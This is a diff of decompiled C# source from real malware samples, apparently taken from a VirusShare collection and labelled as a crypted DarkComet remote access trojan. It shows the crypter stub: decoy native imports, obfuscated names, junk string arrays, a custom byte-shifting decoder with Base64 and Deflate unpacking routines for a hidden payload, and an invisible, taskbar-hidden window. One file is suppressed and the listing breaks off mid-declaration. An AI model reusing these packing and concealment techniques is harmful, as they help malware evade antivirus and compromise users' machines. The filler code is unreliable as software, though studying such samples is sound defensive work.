[DllImport("mu.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern short LoLerWondowsRegmak(
|
||||
int count,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string name,
|
||||
StringBuilder proces,
|
||||
ArrayList window,
|
||||
byte[] xPa,
|
||||
char crap);
|
||||
|
||||
[DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern int ProceLLoLerKa(char proces, string[] Id);
|
||||
|
||||
[DllImport("Bc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern byte[] aPcaWi([MarshalAs(UnmanagedType.VBByRefStr)] ref string Id, string[] name, char hkey);
|
||||
|
||||
[DllImport("Wondows.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern int wccaKa(
|
||||
StringBuilder Zfinder,
|
||||
byte name,
|
||||
short number,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string crap,
|
||||
byte[] xPa,
|
||||
long window,
|
||||
ArrayList user);
|
||||
|
||||
[DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern string ProceLicWi(
|
||||
string[] number,
|
||||
short name,
|
||||
int moIdea,
|
||||
StringBuilder count,
|
||||
byte[] path,
|
||||
ArrayList msg,
|
||||
byte Zfinder,
|
||||
int window,
|
||||
char license);
|
||||
|
||||
[DllImport("oc.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern char CrycaRegmak(
|
||||
byte moIdea,
|
||||
int name,
|
||||
long Tempe,
|
||||
string[] proces,
|
||||
byte[] cbuff,
|
||||
short number);
|
||||
|
||||
[DllImport("Cry.dll", EntryPoint = "ca", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern int VcRegmakwc(
|
||||
short Tempe,
|
||||
long name,
|
||||
ArrayList license,
|
||||
byte Id,
|
||||
byte[] xPa,
|
||||
char crap,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string hkey);
|
||||
|
||||
[DllImport("ic.dll", EntryPoint = "Regmak", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern StringBuilder Wizcca(
|
||||
int license,
|
||||
ArrayList name,
|
||||
int user,
|
||||
short Zfinder,
|
||||
byte[] path,
|
||||
long Tempe);
|
||||
|
||||
[DllImport("ca.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern string aPwcVc(
|
||||
long user,
|
||||
int name,
|
||||
char window,
|
||||
int number,
|
||||
byte[] cbuff,
|
||||
StringBuilder proces,
|
||||
string[] count);
|
||||
|
||||
[DllImport("Cry.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern byte caWondowsKa(
|
||||
ArrayList window,
|
||||
char name,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string msg,
|
||||
long moIdea,
|
||||
byte[] xPa,
|
||||
int user);
|
||||
|
||||
[DllImport("aP.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern string[] aPaPzc(
|
||||
int msg,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string name,
|
||||
StringBuilder hkey,
|
||||
ArrayList Tempe,
|
||||
byte[] path,
|
||||
byte Zfinder,
|
||||
short Id);
|
||||
|
||||
[DllImport("ic.dll", EntryPoint = "ic", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long ProceLVcVc(
|
||||
char hkey,
|
||||
StringBuilder name,
|
||||
string[] crap,
|
||||
int license,
|
||||
byte[] cbuff,
|
||||
short number,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string msg,
|
||||
byte hwnd);
|
||||
|
||||
[DllImport("oc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern char WondowsProceLusep32([MarshalAs(UnmanagedType.VBByRefStr)] ref string crap, byte count);
|
||||
|
||||
[DllImport("Regmak.dll", EntryPoint = "me", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern byte[] aPWondowsRegmak(StringBuilder count, byte name, [MarshalAs(UnmanagedType.VBByRefStr)] ref string window);
|
||||
|
||||
[DllImport("Cry.dll", EntryPoint = "aP", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern StringBuilder icKaca(string[] proces, int Id);
|
||||
|
||||
[DllImport("wc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern ArrayList memuBc(
|
||||
byte Id,
|
||||
int name,
|
||||
long Zfinder,
|
||||
string[] hkey,
|
||||
byte[] xPa,
|
||||
int user,
|
||||
char license);
|
||||
|
||||
[DllImport("LoLer.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern char aPBcaP(short Zfinder, long name, ArrayList number, byte[] path);
|
||||
|
||||
[DllImport("Bc.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern string[] meVcLoLer(
|
||||
int number,
|
||||
ArrayList name,
|
||||
int moIdea,
|
||||
short count,
|
||||
byte[] cbuff,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string msg,
|
||||
long Zfinder,
|
||||
char hwnd);
|
||||
|
||||
[DllImport("ic.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern short icWiKa(
|
||||
long moIdea,
|
||||
int name,
|
||||
char Tempe,
|
||||
int proces,
|
||||
byte[] xPa,
|
||||
StringBuilder hkey,
|
||||
ArrayList number,
|
||||
string[] msg,
|
||||
byte user);
|
||||
|
||||
[DllImport("Regmak.dll", EntryPoint = "Bc", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern byte[] CrymeRegmak(ArrayList Tempe, char name, long Id);
|
||||
|
||||
[DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern short ococme(
|
||||
int license,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string name,
|
||||
StringBuilder user,
|
||||
ArrayList Zfinder,
|
||||
byte[] cbuff,
|
||||
char Tempe);
|
||||
|
||||
[DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern int WiWondowsProceL(char user, string[] window);
|
||||
|
||||
[DllImport("Vc.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long VcCryusep32(
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string window,
|
||||
string[] name,
|
||||
byte msg,
|
||||
char moIdea,
|
||||
byte[] path,
|
||||
StringBuilder user);
|
||||
|
||||
[DllImport("aP.dll", EntryPoint = "Bc", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern string[] KamuCry(
|
||||
StringBuilder msg,
|
||||
byte name,
|
||||
short hkey,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string Tempe,
|
||||
long Zfinder);
|
||||
|
||||
[DllImport("ProceL.dll", EntryPoint = "ProceL", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern byte[] Bcmuca(string[] hkey, short name, StringBuilder license);
|
||||
|
||||
[DllImport("Vc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern StringBuilder memuwc(
|
||||
byte crap,
|
||||
int name,
|
||||
long count,
|
||||
string[] user,
|
||||
byte[] path,
|
||||
int moIdea,
|
||||
short hkey,
|
||||
char number,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string Id);
|
||||
|
||||
[DllImport("Wi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern string[] CryProceLwc(
|
||||
short count,
|
||||
long name,
|
||||
ArrayList proces,
|
||||
byte window,
|
||||
byte[] cbuff,
|
||||
char Tempe,
|
||||
int crap,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string moIdea,
|
||||
StringBuilder Zfinder);
|
||||
|
||||
public static byte[] FQozePvPToCosrVssD(
|
||||
int nfrvnhrgiGBpeSbrFI,
|
||||
string enLlUqZhncdDhgsTDc,
|
||||
byte[] NtzvsIznUumecpgepl)
|
||||
{
|
||||
byte[] numArray;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public static byte[] rNsCaePpSfdOSgdUqq(
|
||||
int GfmuMPBNqzpplvTgcf,
|
||||
string gpsfZpUSFRfeTAcVBf,
|
||||
byte[] vATnaamcAmDfsvDtMV)
|
||||
{
|
||||
byte[] numArray;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public static byte[] GllMFPlMQSlqzPTdoG(
|
||||
int EGQCURNnAlLstUACAd,
|
||||
string MRMgMIZzZEOHLNuGvM,
|
||||
byte[] MfciqLdMcZAiPALqil)
|
||||
{
|
||||
byte[] numArray;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public static byte[] nODNsinqhFTToenMln(
|
||||
int SmZznDEVcVGvQZGAUq,
|
||||
string IBGaHNFnLqZmMFqQtG,
|
||||
byte[] pQLZQfBEaIVovgsOFO)
|
||||
{
|
||||
byte[] numArray;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public static byte[] ivAFpnTfUqezpUhUgh(
|
||||
int iCzVinEetMaAEohRsI,
|
||||
string HSUsgOtAneEOeLFvqG,
|
||||
byte[] VmOnSAgUMvQqucvHcu)
|
||||
{
|
||||
byte[] numArray;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
public static void Main() => justsomeshit.doit();
|
||||
|
||||
public static string dwdda(string ÔÖÓ) => Environment.GetEnvironmentVariable(ÔÖÓ);
|
||||
|
||||
public static string fkaOWJfawjfozkLZD(string ÂÄÀ) => Encoding.Unicode.GetString(jdawdiawhiwhfifaw.ÉËÊ(Convert.FromBase64String(ÂÄÀ)));
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: dkawod
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class dkawod
|
||||
{
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz"
|
||||
};
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: gawhwahawahw
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class gawhwahawahw
|
||||
{
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz"
|
||||
};
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: jdawdiawhiwhfifaw
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class jdawdiawhiwhfifaw
|
||||
{
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa"
|
||||
};
|
||||
}
|
||||
|
||||
public static void baeahhawwahahw()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa"
|
||||
};
|
||||
}
|
||||
|
||||
public static byte[] ÉËÊ(byte[] ÌÏÏ)
|
||||
{
|
||||
byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)];
|
||||
int num1 = (int) ÌÏÏ[0];
|
||||
int num2 = checked (ÌÏÏ.Length - 1);
|
||||
int index = 3;
|
||||
while (index <= num2)
|
||||
{
|
||||
if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1])
|
||||
num1 = (int) ÌÏÏ[0];
|
||||
int num3 = checked ((int) ÌÏÏ[index] - num1);
|
||||
if (num3 < 0)
|
||||
checked { num3 += 256; }
|
||||
if (num3 > (int) byte.MaxValue)
|
||||
checked { num3 -= 256; }
|
||||
numArray[checked (index - 3)] = checked ((byte) num3);
|
||||
checked { num1 += 1 + (int) ÌÏÏ[2]; }
|
||||
checked { ++index; }
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+30
File diff suppressed because one or more lines are too long
+67
@@ -0,0 +1,67 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sakiajfwefjwa
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class sakiajfwefjwa
|
||||
{
|
||||
public static byte[] ÈÈÉ(byte[] ÂÄÀ)
|
||||
{
|
||||
MemoryStream memoryStream1 = new MemoryStream(ÂÄÀ);
|
||||
MemoryStream memoryStream2 = new MemoryStream();
|
||||
DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress);
|
||||
byte[] numArray = new byte[1024];
|
||||
while (true)
|
||||
{
|
||||
int count = deflateStream.Read(numArray, 0, 1024);
|
||||
if (count != 0)
|
||||
memoryStream2.Write(numArray, 0, count);
|
||||
else
|
||||
break;
|
||||
}
|
||||
deflateStream.Close();
|
||||
memoryStream2.Close();
|
||||
return memoryStream2.ToArray();
|
||||
}
|
||||
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa"
|
||||
};
|
||||
}
|
||||
}
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: Guid("ccbcad78-97bc-46b8-80d3-f7f30c06d5e9")]
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+236
@@ -0,0 +1,236 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Program.Main
|
||||
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Program
|
||||
{
|
||||
public class Main : Form
|
||||
{
|
||||
private IContainer Components;
|
||||
|
||||
[STAThread]
|
||||
public static void Main() => Application.Run((Form) new Program.Main());
|
||||
|
||||
public Main()
|
||||
{
|
||||
this.Load += new EventHandler(this.Main_Load);
|
||||
Application.EnableVisualStyles();
|
||||
this.InitializeComponent();
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(1, 1);
|
||||
this.Opacity = 0.0;
|
||||
this.ShowInTaskbar = false;
|
||||
this.Name = nameof (Main);
|
||||
this.Text = nameof (Main);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool Disposing)
|
||||
{
|
||||
if (Disposing && this.Components != null)
|
||||
this.Components.Dispose();
|
||||
base.Dispose(Disposing);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
